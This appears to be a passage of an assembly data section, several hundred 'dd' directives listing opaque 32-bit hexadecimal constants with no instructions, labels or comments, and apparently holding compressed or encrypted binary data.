dd 1BA379B3h, 14F000CFh, 61315F9Fh, 9D00C2FAh, 0DB3285A6h
dd 0F6D7980Bh, 0D3C700B7h, 6D20343Bh, 0B300138Ch, 0E47F16ABh
dd 1AC1E5h, 0EA4D3FBAh, 500F2A89h, 2C49990Eh, 0A669808Dh
dd 0D0A9EEh, 3C9A05F1h, 0DA6370C5h, 4A0250Eh, 2D4B40F5h
dd 7A3F16h, 11491D0Fh, 0B0E0B6DDh, 0B974EF0Eh, 0A78EE0AEh
dd 0B7E4F1h, 0ADDAF335h, 1627F24Ch, 0CB9BE900h, 0D4C9E6BEh
dd 0F526003Ah, 17068D7Eh, 2501C63Dh, 0AED5300Ah, 2CDC7BEBh
dd 2EEC24h, 0C79A8552h, 0E9566544h, 0F5F90E00h, 0EE7A72C5h
dd 59510645h, 9A6C1116h, 0AC57E101h, 0BF5FF6CCh, 305866E4h
dd 0C3769F0Ch, 0F40040EDh, 5A96E8D3h, 0B2FA4h, 9E237F44h
dd 49C81647h, 0E195CC00h, 61B028A0h, 0E27872h, 88B5A264h
dd 92B8E938h, 1348AE90h, 21D5002Ch, 813A10ADh, 3D7FBFh
dd 0A3261887h, 0C3D9DA8Fh, 0EC2ACF00h, 0EA5E1C1Bh, 0ED7E00A2h
dd 9E84B05Ah, 0E60072DAh, 0BA0A1DA4h, 96E90h, 0F1C6563Bh
dd 0D31779EFh, 7607F40Eh, 277D608Eh, 0A5C306h, 0D77A97C2h
dd 1C8B66CBh, 9B78180Fh, 12FF00CFh, 0B398FB6h, 0AF3B976Dh
dd 90143E07h, 0ECC8CA76h, 0AAD2BB00h, 32FCEFD6h, 7B850090h
dd 0E4B76D36h, 0CA1D211Eh, 2880B6CCh, 0FA24A2BFh, 749B1DFBh
dd 0B3007B51h, 0B02DDA34h, 251F4339h, 5E00289Fh, 183EB9Ah
dd 262B0044h, 0C5800ACCh, 0E3F84069h, 81DE7C03h, 98E0D811h
dd 0E345B5Eh, 4F3C4BD5h, 5D3700BCh, 0D7440A15h, 0CB09D00h
dd 5A2A6A23h, 5ECB58A3h, 80B10E1Ch, 9A8BEF1Ah, 300A590h
dd 1093BF1Ch, 0BE5B21h, 83F81742h, 90197FABh, 55CF3803h
dd 0E009ED05h, 29A8DE4h, 0A73037F7h, 66C05120h, 0A3070B43h
dd 0C1D2CD52h, 99BA1620h, 98CA0714h, 2031FC0Dh, 0B5918FA9h
dd 27964E00h, 0A0089F37h, 0CC670390h, 0D67A6228h, 0ED215EC0h
dd 80C6F43Dh, 589F8B60h, 1C857B3Dh, 807EFD8Ch, 0E75CE548h
dd 65009101h, 2012CFEBh, 0E80DDBh, 9270385Dh, 0F42BA3C4h
dd 1AD82C00h, 0CE31F67Dh, 46E90095h, 0A4F858DBh, 0B201DF25h
dd 62B34C28h, 0AAC83931h, 3F6500A7h, 0BD0BFC56h, 0DA00E975h
dd 64D1FF80h, 0F69F084h, 0EE28D82Eh, 96D97C00h, 3E02FE92h
dd 0DF5B7AB1h, 58C8C06Fh, 0F5C3025Dh, 0ECCFA1E1h, 9B068083h
dd 7CB72EE0h, 405F9E4h, 5747A703h, 0BA38EAC1h, 9D58F8h
dd 9C424176h, 6B65AE3Fh, 0B90AA100h, 2BA4C4E3h, 0F29801EDh
dd 66B02AB1h, 9B2EE071h, 0FD84811Eh, 0DF40C140h, 0FB9C4Fh
dd 445D661h, 5F9B1E4Eh, 0B23731Ch, 828701C0h, 39EEF5D8h
dd 38801F3Dh, 30155B86h, 0A300F339h, 42D90188h, 0F70F14h
dd 6FBD462Eh, 57E863DDh, 9E7E7B00h, 1EE05D32h, 66A80020h
dd 0AE3022A1h, 0E61C6D11h, 644F2A34h, 0BFF2C0A7h, 0F0E57279h
dd 0A574CBh, 319356D8h, 13C6D4DBh, 0DF7A5E7Ch, 1200AEE4h
dd 91D34043h, 9A47ABh, 0FCAC130Bh, 83E66271h, 99D56001h
dd 0F2CF462Fh, 0DAE2EE40h, 0E844506Ah, 60F7006Fh, 0FAE1646Ch
dd 0B90E18E9h, 80D4C1CAh, 2134E54h, 918C00CBh, 0F686B331h
dd 563E4A0Ch, 0AAC48271h, 600DEBE9h, 0B8586882h, 0A4A20080h
dd 0EFA50359h, 0A800282Ch, 98E83380h, 0C47087h, 0D97E340h
dd 0D9671B4Bh, 6A00EDFCh, 0F5CCE07Dh, 3741CDDh, 4D49D80Bh
dd 0E7F040EEh, 0ED0012BAh, 0F1B6B02Bh, 33AA1CFh, 0D461BEECh
dd 0D9D93353h, 42A02E48h, 0CF0707E6h, 1216A0DEh, 37DE735h
dd 0B038DF52h, 0E6CAD02Bh, 324B0389h, 1778427h, 2AC0FDD3h
dd 8A008C0Ch, 8FCAF482h, 3971D1h, 0BF9A777h, 9061C24Fh
dd 0C425Ch, 899C78CBh, 79845Dh, 5619F258h, 216A2EDh, 32268700h
dd 10F43748h
dd 35F0540h, 3F76F7h, 78B8C0B1h, 0D005B73h, 0B28EF6B5h
dd 295AF3h, 0BB31A0A1h, 7E7C2794h, 80B93939h, 0C854CF8Fh
dd 31B083Ah, 51959F32h, 36D0AD81h, 0A72C70ABh, 9100D740h
dd 29E5717Ah, 0A2B004Fh, 9259A090h, 6B003A5Ah, 529BBE82h
dd 948141h, 8687F72Bh, 3A657A44h, 4238B600h, 754903A0h
dd 0E9151FF2h, 10D540D9h, 9BA97BFDh, 0EF93B2Eh, 61127E00h
dd 391CA5E9h, 6B7B741h, 0D8550064h, 0FC006387h, 3EAC71B1h
dd 2438A4F7h, 0B0E3F3h, 7BF01379h, 0AB00A1E5h, 0CDFCDD55h
dd 1A5A2ACh, 9438C90Dh, 30B54AE8h, 0F1006B0Ah, 74982442h
dd 0BB9A71h, 2D14C5ECh, 4B83A98Ch, 918BD500h, 93C7F32Ch
dd 0AE6100F5h, 0A7968820h, 0D7001B3Ah, 356D4E5Ah, 0CB9105h
dd 1236DFDBh, 9CEC0BD1h, 0D31C900Bh, 0E0D50FDAh, 0E7514BFBh
dd 3A7E3Ch, 0CA81B326h, 381759C0h, 0B2EB070Eh, 5AC01DA0h
dd 0A968C456h, 6C16038Bh, 60B5D02Dh, 9AE98DA0h, 1D26867Bh
dd 0E400B292h, 0E87864D9h, 0DF61001Eh, 0E044FBB0h, 5EFE57A5h
dd 86D45F00h, 73C515BFh, 0FEAC05E8h, 83C8B44Fh, 8BC1DE03h
dd 30824748h, 0F9A1C045h, 0A79D3200h, 0C6B1C9FFh, 9C8B0FD3h
dd 7AFCFB52h, 0B0564580h, 7919C3E9h, 66415C00h, 0EF84EABCh
dd 0C43B0015h, 898D47EDh, 7B00145Ah, 5D25C179h, 0DD59A6h
dd 41B76678h, 39E635FEh, 0A86BE300h, 0C6578A30h, 0D9EB003Dh
dd 0DD345A3Eh, 9000781Dh, 0B223B5Fh, 7D62E8C3h, 19840112h
dd 0BE047175h, 8C9D70A3h, 5BCD7204h, 1EC0B482h, 943E9Fh
dd 7F104E83h, 1CFE53D8h, 6DFDDF12h, 0E074A707h, 0A33075E1h
dd 7B47FC8h, 310E9A2Eh, 0CDB260BAh, 0F98338Eh, 0A49FA506h
dd 1F32BE06h, 41C35A72h, 5BCB433Bh, 0BBFCE846h, 15520C00h
dd 0E4323189h, 81A6007Fh, 44147325h, 0F200706Ah, 0D510A106h
dd 528249h, 1E43016Fh, 0C363D3AFh, 40093400h, 4B5F3DA6h
dd 5F907Dh, 2AF003FFh, 66AFE5B4h, 6D0E5075h, 0E021A816h
dd 0CB86DE53h, 0F4250744h, 80ABFB17h, 0DC11ED3Dh, 14645B0Eh
dd 0C3FA4040h, 3113B6h, 5890B815h, 0F8AA4B6Dh, 6FEB4D00h
dd 0CADD468Ch, 0E0851EE6h, 2D309CEh, 0D949C780h, 8BF2DC8Ah
dd 4E1E6207h, 1D905FCAh, 0D33D4Fh, 5D1706EFh, 0B4F3DAF7h
dd 0ECA6AE00h, 123284B3h, 34E81FDBh, 0FE3C00CDh, 59BCFB70h
dd 7E5C2700h, 28C1D82Ah, 0E87700A4h, 303C4849h, 42001846h
dd 0CB6CD73Eh, 0A1CE6Fh, 84992FC2h, 0AA648A10h, 24A0CA5Ah
dd 6DB700C0h, 8DD9F0D5h, 0DA03CD24h, 88093049h, 0AEC9D817h
dd 0DBE0FB90h, 0B3460394h, 9AFD377Bh, 4706CB8h, 0CE59B003h
dd 0C0E7B588h, 1C1A691Fh, 40944396h, 0CD60C5E5h, 0A2004904h
dd 8BC9D90Fh, 0E3C8F6Bh, 0CCA04666h, 31736960h, 4A72EA2Bh
dd 0A7009C73h, 7AAB7F3Fh, 7E33E5F6h, 0E7A0000Ch, 92F41835h
dd 14005284h, 0F0BBD3B8h, 8B7B90h, 66F727A0h, 99219FFFh
dd 0F26C4C00h, 89BF828Fh, 262C00D3h, 0D82925DFh, 300020BEh
dd 9E632E4Ah, 0F1AC1CFh, 45E3F272h, 27FD27h, 0D93C1089h
dd 0B373BE01h, 3668489Eh, 38B31C8h, 0EFD2FD2Fh, 0BBE8A76Eh
dd 33001FFAh, 2D3096B1h, 70B3DF70h, 0D2D907C3h, 10B63DEDh
dd 8153332Eh, 654FA01Eh, 0B087DBC0h, 0CB48C2h, 4E8890BCh
dd 462B3558h, 0AD32EA00h, 9D79AC65h, 5A0A0084h, 58F5A471h
dd 3078578Ch, 8AC9FA00h, 3E6D4419h, 0C79C3E4Ah, 0E7E41F01h
dd 21BDD3C1h, 0BB6FF86Eh, 526A8500h, 0C9D955Ah, 4869E82Ah
dd 1100B2BEh, 3F0135F8h, 0F700AA30h, 0A54FCE83h, 716B65Ah
dd 67764660h, 0AF9DC084h, 3D0069A6h, 472BE563h, 0E38DC6h
dd 1304FDEDh, 52AECB6Dh, 5FD6BB00h, 0B2A3F929h, 0D2880003h
dd 89873DD9h, 47015369h, 50604975h, 2F08E2Ah, 642B000Ah
dd 1C9D633Eh, 1FE84A04h, 854D2E03h, 0DB92849Ah, 0DB7EA8B0h
dd 320300B3h, 0C1955D55h, 0AF3F7B45h, 0C7580063h, 4D4B9383h
dd 5AE4005Eh, 0D3B9F0A9h, 8800AC05h, 99E866CFh, 73D819h
dd 2A3DE5CDh, 600870A9h, 32FEB800h, 0D90B95DEh, 0C6C31488h
dd 77B898h, 63B8EBFFh, 90D0255Dh, 5C6F9400h, 0CF3E1BA5h
dd 0DA9081h, 4996022Bh, 0FBE22E09h, 18E4F90Eh, 5D66C09Ch
dd 9B8F53h, 9FABC017h, 0CE7B7AEFh, 0A80EBF03h, 88C13542h
dd 32E1F7h, 0EC36B594h, 57A39221h, 75EEAA1Eh, 12523F80h
dd 36DC6A8h, 96132DF7h, 0D5AA8418h, 0CE4BB80h, 5900458Ah
dd 0E8F01142h, 70A017EEh, 0C4F20064h, 588D4E92h, 0A11D24E9h
dd 0EF401CDAh, 82FAB490h, 0FC6F0069h, 23D74115h, 0AF600EA0h
dd 943271Ch, 97B003E8h, 2DC1AC62h, 36AB0BF8h, 4935A900h
dd 8B915C33h, 42A0030h, 0DD8A966Fh, 0DA002890h, 135518BAh
dd 4E1E71Bh, 4E1AF4E9h, 1DD6C025h, 9008CE2h, 0CF243478h
dd 0ECB6F2FDh, 339900DAh, 0E119DC61h, 310022ACh, 85033765h
dd 7A6BBF9Eh, 0A9210049h, 0B04D489Ah, 5E0011A1h, 4A7A6CFEh
dd 995A7Bh, 0CF5C46B6h, 0FC87DA49h, 33BC7601h, 9134E4C7h
dd 9CDE4h, 0B1655163h, 5B29F889h, 5C6EB43Dh, 40D6001Eh
dd 938B42D1h, 0C1B70F39h, 0D900E179h, 3076752Dh, 7754A700h
dd 8A65D7E2h, 135600FFh, 0A5855A83h, 15EA9107h, 0E904F400h
dd 5F8E1C3Eh, 0CB054886h, 3AEE6600h, 5A485DCAh, 0EBCFFB03h
dd 0A0884F5Bh, 17FCAEh, 825CF931h, 0B9A4A383h, 2201647Fh
dd 54456CEAh, 71D0BE61h, 6D1F1EFFh, 1462800Eh, 3D15B68Ah
dd 0BCCA4800h, 461B1806h, 28C7023h, 3CD9B2A0h, 60FDF720h
dd 39EC535h, 65907F24h, 18D93D1h, 70AAA4F2h, 6C86D8E7h
dd 8AA98900h, 4A570C84h, 65B10093h, 6BE4F624h, 77004937h
dd 4B4D34E7h, 0D9A988h, 2E69053Ah, 0CF1FB619h, 0BE5EFF00h
dd 0BB54F138h, 0D83B2EE3h, 85910090h, 6A258F18h, 966D151Dh
dd 0C15B03BDh, 3B4AB4h, 0D8FAE6A0h, 4608EF9Eh, 1D19163Ch
dd 8E4705F0h, 716027C8h, 0F1C253Fh, 0A475D694h, 59DBA960h
dd 4F0EA668h, 808DAEDCh, 5383402h, 6F64009Bh, 0DA3C78ECh
dd 0A600923Ah, 0ED39BEFFh, 5561B2h, 7D66D602h, 1A1CBA03h
dd 7A7B0F00h, 143A2D81h, 1DE5FA76h, 4F6C9C4Ch, 4120BA35h
dd 2953A16Bh, 0CB69DC00h, 21C496C3h, 0D31B008Ah, 6F883E1Ah
dd 300062EAh, 6618A452h, 15C292h, 6D6AEEF8h, 0F6FAAB3Ch
dd 19293Fh, 0B9DD431Ah, 513349Bh, 0B3819069h, 86E88350h
dd 7D027190h, 2C63AD3Ch, 6C171A64h, 74252C00h, 894E14h
dd 918CF409h, 0F19C515Dh, 0F7363003h, 0A05C7544h, 0F6A2456Fh
dd 38A61C0Eh, 6BE680FAh, 0C7DABDCFh, 0A553B0Fh, 0E313C0C8h
dd 0F756B1h, 0CE0CC281h, 0EF0BE7E0h, 0AACF4A00h, 37223E5Bh
dd 0BF900048h, 7E07ED20h, 971E30F7h, 0DE8064D9h, 1AF5E08Ah
dd 9B1300D2h, 0F87A2DDDh, 44004D66h, 55260914h, 76D1431Bh
dd 62590086h, 2B843F98h, 0A90E0389h, 0C02390BBh, 0D7F57997h
dd 1BB507C5h, 9705FEDAh, 5925A0B3h, 0E4E2E338h, 29935301h
dd 0FF32DF91h, 4FADE8h, 76E1597h, 84E6055Eh, 81936303h
dd 0C85B0D18h, 386CB2E8h, 0C1015AB5h, 0DB7DDD62h, 9890E721h
dd 14007A1Eh, 0A929801Fh, 1750B66h, 8D073C39h, 0D81625C3h
dd 76002ACEh, 9E4337E7h, 0F08A997h, 7039209Bh, 0C61A6440h
dd 4D76DBDFh, 0C1494B00h, 884E1D9Ch, 0B6680009h, 0A6ED7374h
dd 0B3006F26h, 82CCA2A7h
dd 1924B7h, 257B883Fh, 2667E192h, 0C7EE9800h, 6066F280h
dd 2E49001Ch, 8825827Ah, 210B53CEh, 0E6AB5CBh, 0B19581A2h
dd 0A5F4ABCCh, 0F0C00350h, 0C4CD0636h, 7D261AF8h, 4CBEE600h
dd 9A1ECFC8h, 93D500ECh, 0DD97A68Eh, 6F0FE2EFh, 20D815AFh
dd 2863D0C5h, 0CB1F0071h, 2FBBCE70h, 50E590Bh, 80C5DAA7h
dd 1529C192h, 0CC81029Fh, 403A9C66h, 0E51CC181h, 0DB26DC17h
dd 0D07DA3E4h, 68131800h, 9D31A5F2h, 773D1D8Ah, 624E0EF5h
dd 0AFE05281h, 0CDBEDDBDh, 0F0D1E0EAh, 0D83A470Fh, 0F880F2Fh
dd 3E6B4099h, 0F1AC98h, 13D5F895h, 0F23DD737h, 4F82110Eh
dd 0C24E000Bh, 4CC47h, 5A6EEEB7h, 73456096h, 6F7BB800h
dd 5FCA1AC0h, 0A84E002Ch, 0B602AE67h, 455A0581h, 0F00079ECh
dd 0D713585Ch, 0D0F95024h, 9D00D0AAh, 0DF0BA47Dh, 0E2B6E54h
dd 0F80C6F2Ah, 8EFD9720h, 563A821Dh, 3A5F0143h, 0AD861227h
dd 1FDBC0h, 0D8D0F00Fh, 0EFD1E136h, 463BED04h, 0BEE7F3h
dd 0B7DA2F75h, 51015840h, 9B6D2487h, 0C0C33835h, 3F1FF2h
dd 4F9010CBh, 89777817h, 0DD8E2D00h, 8B4EB7DEh, 0C5440066h
dd 6CCC2FC9h, 0CB00B6C8h, 3AFDD507h, 10B82AFh, 3D40E8F1h
dd 2006A822h, 89000335h, 988B924Dh, 5F61B9D3h, 58A824h
dd 0CC9A26D0h, 1F73CAh, 92961E17h, 0DBF162Bh, 80E9053Ch
dd 7422EF15h, 709EB71h, 117902BEh, 211D503Ch, 10002E37h
dd 0FE2FE47Ch, 86F483h, 5FAEF8C3h, 0B59691Dh, 0A6E8A1ECh
dd 0B500177Eh, 36054B0h, 3E69B644h, 99810449h, 0E3C3C76Bh
dd 3C0EE4FEh, 0B9E16000h, 0D1CDEA76h, 3B2E2A7h, 0D81FE235h
dd 60F8D3FDh, 3601D431h, 34EE5F97h, 47D41958h, 0AB7F07C4h
dd 20E3A159h, 3053C53Dh, 0BF9FCF00h, 7EC21164h, 8180084h
dd 155FF238h, 0EA395D78h, 25CF014Bh, 37D269B3h, 7316C6D0h
dd 837600EEh, 0DAAE966Eh, 6A0FCC04h, 818C991Ah, 41076C68h
dd 577EF0h, 2F4639F4h, 770DD19Ah, 2D00C8F2h, 7424B08h
dd 74B4B6h, 0D0E83BE2h, 6C1C1D0Ch, 8D899800h, 6B94D416h
dd 856007Fh, 0B88FD579h, 6FFEF1F3h, 4E491000h, 0B60DDE0Fh
dd 2DD70065h, 0D6422815h, 0F000AC2Ah, 80448921h, 853A07h
dd 0A8EF88C7h, 5472438Eh, 21D4900h, 16C3BB0Eh, 213E005Fh
dd 0F54EB10Dh, 5E03821Fh, 0FF8C7757h, 760980F4h, 719852h
dd 0A8D52B73h, 4A711315h, 1E0CFB3Bh, 0B59EE3C2h, 6990A280h
dd 0BF6AE4h, 0F7B63E4Fh, 439B26C8h, 8920031Dh, 0C1F9040h
dd 753D536h, 2AC9650Bh, 0F15A301Ah, 1D004C5Eh, 0D1269334h
dd 0BF26447h, 2430988Dh, 0F9EB9700h, 6E77F163h, 15E92500h
dd 7A659974h, 0C0D2003Dh, 87C35BB9h, 5E3F4468h, 7E5700A9h
dd 66ED82Fh, 64A60056h, 0D52DBBC3h, 71004750h, 0C4AC6904h
dd 0F4B625h, 64918E58h, 0EFED3BFAh, 81DBA500h, 5A2FA155h
dd 0B88000CCh, 34979CF6h, 1F30BF71h, 94DC58DAh, 0B6B0FBh
dd 29C52FA0h, 0C89966DDh, 1DB53400h, 3689260Bh, 7AE80354h
dd 0EA2DE5F1h, 77CE12F8h, 75EC5F00h, 8397D6F7h, 0C4781Ah
dd 0EB6013C2h, 507B2B40h, 2175B200h, 575D5816h, 339001B0h
dd 328CBD2Fh, 3710D4C4h, 201A4B00h, 0BB055FA5h, 2BE80764h
dd 0D018EB72h, 10B3572Ah, 92B41700h, 0A30EF063h, 8B040088h
dd 0F236A86Fh, 0B00BCCFh, 0B57EB8C3h, 1C0A4F32h, 536DA3h
dd 4CFFBEDCh, 7800057Ah, 350EFE41h, 7E5BAEABh, 0F1BB0072h
dd 0C3E3ADF3h, 1300CBC7h, 0C86219F4h, 3B61ED3Dh, 38733C2Dh
dd 4C0FEB70h, 0D6CE21C0h, 688A4500h, 5C0028C6h, 74EA0BFAh
dd 36F5BE6h, 2778F3D3h, 9E8D543h, 191D46A1h, 418413CCh
dd 0C7C5915Bh, 0E97CFE83h, 48F07681h, 4C9A0028h, 0D63E2097h
dd 58EA60FCh, 7C428800h, 0B52E178Fh, 0A4A7EE7h, 8EF4C70Eh
dd 48401CEh, 0C0957344h, 2D000D7Dh, 1C185169h, 48ABC93Dh
dd 0D50EFA0Fh, 49453819h, 7079A81Eh, 73E2400h, 0FBFCD1AAh
dd 6A7A38A5h, 0A77C5D0Fh, 0C045B320h, 0BA74C993h, 6B1E8300h
dd 0AA847969h, 0E230710h, 0B35827F7h, 11D0AC59h, 0EE00519Dh
dd 9AECCDCAh, 1D63906h, 0AEA40EA2h, 0C82B992Dh, 8600727Eh
dd 0B6BEEEAFh, 1FCE4A1Ch, 40DE3B8Fh, 521E8732h, 59009F14h
dd 0EC21083Dh, 3FB85Ch, 0A80781EFh, 1C5463CBh, 0DD09E900h
dd 5BA06552h, 0E877D2Bh, 34B94CD9h, 0DAF23C40h, 2600303Ah
dd 9390E129h, 3DB164h, 0E8078EBAh, 0E9DD4AD8h, 43C7DC00h
dd 66ABE2CDh, 0BA94008Fh, 1F1B544Fh, 9100BF63h, 46DA69C0h
dd 90AD7704h, 0AA70386Eh, 8F1226h, 90259FE0h, 5C1D8659h
dd 0B5C096AEh, 0A058849h, 681900E6h, 3DC3E49Ch, 8D1D8F17h
dd 0D0DC0379h, 30835740h, 13BB7F16h, 0BF4B4D77h, 6576F200h
dd 5AA049h, 0C5F8C88Bh, 0C43EF6B1h, 2E8F7200h, 0F7E69106h
dd 3D67CFFh, 2265E79Ah, 30E077ADh, 5E072521h, 0E5EE45BAh
dd 959C0AD0h, 0B2EB004Ah, 6F0E7D1Ch, 0F9008DC4h, 69117C8Fh
dd 0EA533781h, 48F40087h, 0E3C0E25Bh, 8B00EB8Dh, 12BA530h
dd 0D5915Ah, 93EA1A9Fh, 87898F62h, 0FAAFDA1Dh, 0A0475E0Eh
dd 9B43DFE4h, 5CA7EE63h, 0C300E962h, 0FFAC7464h, 3B0003D7h
dd 125C3A61h, 186A2EBh, 6BC22FB9h, 2093BCF5h, 0DE8EDA9h
dd 5E002070h, 0E2134F31h, 0E91B48Eh, 0B3553696h, 0EFAE3A80h
dd 1930AB01h, 0DDD0D24Eh, 9ABE053Bh, 11A4A5h, 2B695282h
dd 0EE04EF19h, 0E8495BA8h, 88024BC3h, 719B17h, 0EA83A50Bh
dd 0D943A0B1h, 0CD1C7601h, 618D12FAh, 32F24D4h, 79EF6B51h
dd 42E89EF8h, 10005947h, 0CDBB4614h, 19B18Dh, 7A8688F5h
dd 304332EAh, 0D5BC8900h, 0E5FD5A0Ah, 58AB00A4h, 0A0DB7544h
dd 0A90CCF5h, 5D4BD600h, 7B61609Bh, 7C390056h, 0C71182A6h
dd 8A7BED5Fh, 0A5A05E00h, 2F5023B5h, 240300C9h, 92D916A3h
dd 0BAB07A26h, 0AAD36000h, 703B756Eh, 0E0740076h, 0BF8F54B7h
dd 820F67F5h, 41276F25h, 0B897CF77h, 0BE4320h, 32AE4098h
dd 0E5AD3FD4h, 5F841200h, 0F69256C8h, 0F56F00ACh, 6495F298h
dd 1E79BED1h, 349ABB00h, 0EC452DCEh, 9CE8F0h, 0A17EC7E7h
dd 52E1158Fh, 67831E07h, 0EBA0ED8Ah, 0DF9146h, 0CD39BA8Ch
dd 59E54DDCh, 24003BFEh, 7BAD60B2h, 1B1E875h, 9D6CD86h
dd 7080A998h, 1C3A16A8h, 0AAC68046h, 0D0530EF7h, 0B36700F1h
dd 0A8FE0265h, 430026A7h, 8FD7E063h, 0FB725C9h, 0B8F6A269h
dd 90CAEF07h, 0CCD09C47h, 0D914C400h, 410AAEBFh, 8094004Eh
dd 67C295E4h, 0AF009B37h, 0D736F8Dh, 0FB86CBh, 0C73DDD5Ah
dd 76EDB61Bh, 1E008978h, 19E1D6CFh, 0FFDF8CEh, 1443D1DBh
dd 2F8433E0h, 40285453h, 9F0E85B4h, 40BEFC22h, 0D8C9F8D3h
dd 0B7AA3AF4h, 2EE9CD80h, 0A226C285h, 7E375F00h, 19982794h
dd 0AE72FBh, 63253654h, 7B66C27Ah, 0D58E260Fh, 9BB9E03Bh
dd 17E1242h, 0D086328h, 0E86075B7h, 0A1010FE3h, 0DDEAAEF0h
dd 0FECCAD05h, 39E1E10h, 9F084715h, 73C8C042h, 0A77D3536h
dd 0F17EA200h, 89A43303h, 0B39507C5h, 53D8762Dh, 0E813BF0h
dd 4CD1E850h, 9D5F833Eh, 8F42491Fh, 0C0E2A1A4h, 3C6C71h
dd 7C1088A8h, 5D23D679h, 0D9B9A902h, 0E02546FCh, 0D07A80h
dd 6E0C37E1h, 0A56D974Eh, 604B9470h, 5100D3ACh, 0B384BE8Dh
dd 5701F7C7h, 0C8DA180Ah, 1BD1E071h, 0AB53F4h, 7AA9DC2Ch
dd 9EE8F1C4h, 0B3F96F00h
dd 0CE9D811h, 816E00F3h, 42FB7E6h, 0BE051373h, 0C31E798Bh
dd 5AEF7E80h, 0A1B10065h, 8897B323h, 6900D4BEh, 2F34C3EEh
dd 4DFC3Ch, 0E1BC928Dh, 53A91EE3h, 46FA6907h, 0DDD3DCB4h
dd 240E72Bh, 9F1E4AF4h, 0DEAB2A60h, 9CB14600h, 0D7263ADh
dd 2A49000Ch, 2D88CE8Ch, 371CABA2h, 76C0C02Bh, 0F3FA4766h
dd 4BC40036h, 1C12753Bh, 54002298h, 0EC7D893Ch, 0E631359h
dd 11518714h, 405896A0h, 0F91646D5h, 0C30F1B6Dh, 0DF8360BBh
dd 7D7C91h, 36AFEDE0h, 43B71509h, 50AAC402h, 800FEAD6h
dd 0B0317ADBh, 194B0288h, 70E12B20h, 0E03E25Ch, 0C0E8B4B6h
dd 734A903Ch, 69CC3C46h, 48F1C380h, 0FC474413h, 0AE022000h
dd 899EA363h, 9C101C04h, 3FB680EDh, 2728DB01h, 620F9603h
dd 0B0D13BD4h, 7AB0FEF1h, 0E9DA0023h, 914E8CF9h, 0B1008F7Eh
dd 0DC86030Ah, 76739098h, 11A3008Ah, 295577D1h, 0CE00BB8Eh
dd 23F00B4Eh, 5AF40Dh, 4AFB79DAh, 56FE94A2h, 47146100h
dd 0EE373036h, 0C0B60025h, 0DE977B7Eh, 0FF004609h, 0CF395355h
dd 0F344D0Ch, 35B083D8h, 0EE2532A0h, 7800D075h, 0C40CD536h
dd 0E3BDAh, 6F5ADED3h, 0B4AAF999h, 71AD400h, 9332C5D5h
dd 51BD0097h, 0A30EF3FBh, 0BA007E24h, 6B3B3136h, 0E71250h
dd 0FC666FC2h, 0FF28D126h, 4D759D0Fh, 1C3A80C4h, 0E417EFh
dd 5881E66Ah, 1E1BAA5Eh, 0CC847200h, 0FD823D14h, 0EE4A0085h
dd 2CC74152h, 584CBE0Ah, 80933C93h, 786F7112h, 3802AC9Bh
dd 0D000FCBh, 0A5483E6Dh, 0C6009927h, 29DD436Eh, 63E397h
dd 3D7C52EAh, 1DC7F869h, 704963Ch, 0E97347BDh, 980C0100h
dd 0BCA4003Fh, 5F404EA2h, 6B0E76C3h, 6058C757h, 0FFB8DC35h
dd 73380164h, 0CE70F016h, 5F3F499h, 0F2023Dh, 0AFE62574h
dd 8E828Ch, 0AA1764A6h, 6F426CE1h, 1EF96700h, 0BF84A911h
dd 0F81505D8h, 0C02774D1h, 0EB633A9Fh, 0A700E173h, 3CCDF2CAh
dd 5CBAF9h, 88EFC4ACh, 56AD2E82h, 488BED03h, 0D8083E3Bh
dd 0ECCD30A1h, 62241EF5h, 2B1F4F95h, 8800D49h, 4C25393Fh
dd 51B23700h, 8F5C7DA5h, 0CD78003Ch, 140C28F1h, 0E003F5F3h
dd 0A62252CEh, 0E6E8D817h, 9FBD004Ah, 0DF8DE929h, 0E72CD598h
dd 7500A134h, 3D2B3101h, 0C3050286h, 9DE1678Bh, 0FF985443h
dd 0D77374CDh, 947D6107h, 0BED04A59h, 0F5183E12h, 6930D0h
dd 9F8C62D8h, 2AEFE10h, 79956500h, 40DD746Dh, 70B005h
dd 82CCACDAh, 0C04E8DF5h, 5A66D201h, 3EA42EBBh, 0FEF8C0h
dd 2A92AB2Dh, 9AFDAC27h, 0E6138000h, 9FB01AD0h, 3390106h
dd 8E18C3FCh, 61DBE8D1h, 0AB70BC00h, 569CB20h, 4F353E22h
dd 9ECC0076h, 2C859C6Eh, 0C5009A31h, 1FC83CC7h, 175F2750h
dd 300665h, 0ADB6BF04h, 6F3D6B0Bh, 0E3C6000Dh, 252D8B3Bh
dd 0A4C00FC5h, 15EE13CCh, 5E4448C0h, 0CE3FD9BDh, 3F08804Ah
dd 7F3BC31Fh, 37B40021h, 8FFB1486h, 407B01Dh, 0F9876352h
dd 80CC8993h, 3F3EE0h, 0A5EDC45Dh, 2E528AAEh, 0F75FE400h
dd 1193E774h, 0AD6B00CEh, 20489E13h, 6F00C892h, 19C7BB47h
dd 0B8B8DDF4h, 8465009Eh, 51CE4598h, 0E100E48Fh, 63F9DA78h
dd 0F35A86h, 0E2C055DFh, 32779184h, 0D70B3700h, 41CBC149h
dd 0A92207F4h, 0D0A28A75h, 1E103D8h, 0C5FD9C03h, 0A0E5ECC9h
dd 8F5B46h, 0A032E7EEh, 0C8BEE208h, 7AB26824h, 0C4780Fh
dd 3958AEDEh, 7F280052h, 64AD0C0Fh, 9A1C77E7h, 760E894Dh
dd 6A31A0A9h, 53BFEA3h, 0B2D8D751h, 0A67480EFh, 0A212AB8Dh
dd 7C0049B5h, 6C374FCEh, 58F20068h, 39FB3BCh, 0A0006A01h
dd 6EDBB4DEh, 2B07D12h, 775B2682h, 2AC07E63h, 0E00E27CAh
dd 0DD686Ah, 5634C8CEh, 0A8D30083h, 65B5B2C1h, 0D679FA1Bh
dd 0BFF8FE78h, 0C8ADB100h, 0E83D8E3Eh, 1AE50082h, 1F3830BDh
dd 6C077215h, 0ED6240B8h, 0BF36E450h, 35651FC3h, 2D1500FEh
dd 31DEA4D7h, 0FD01ED00h, 0C7A0BDC9h, 96F30070h, 7AB01B99h
dd 0C3001C80h, 6E33E87Ch, 38075337h, 848002FBh, 0A67EB3E4h
dd 0B7773E71h, 66DE7900h, 59402F08h, 971C00C8h, 0BB7CC742h
dd 9007A25Dh, 9B2A35DCh, 2260D890h, 0A33200D5h, 9DD571Ah
dd 40155D1h, 2E631608h, 0B720A987h, 8C2101B6h, 6E12EB6Ch
dd 3CAADB64h, 0C8B6E377h, 6AAF37h, 5B2A5C7Fh, 0F0F970B7h
dd 0DD6B8D02h, 408AC4BAh, 0A77D8h, 1404F1C8h, 57034264h
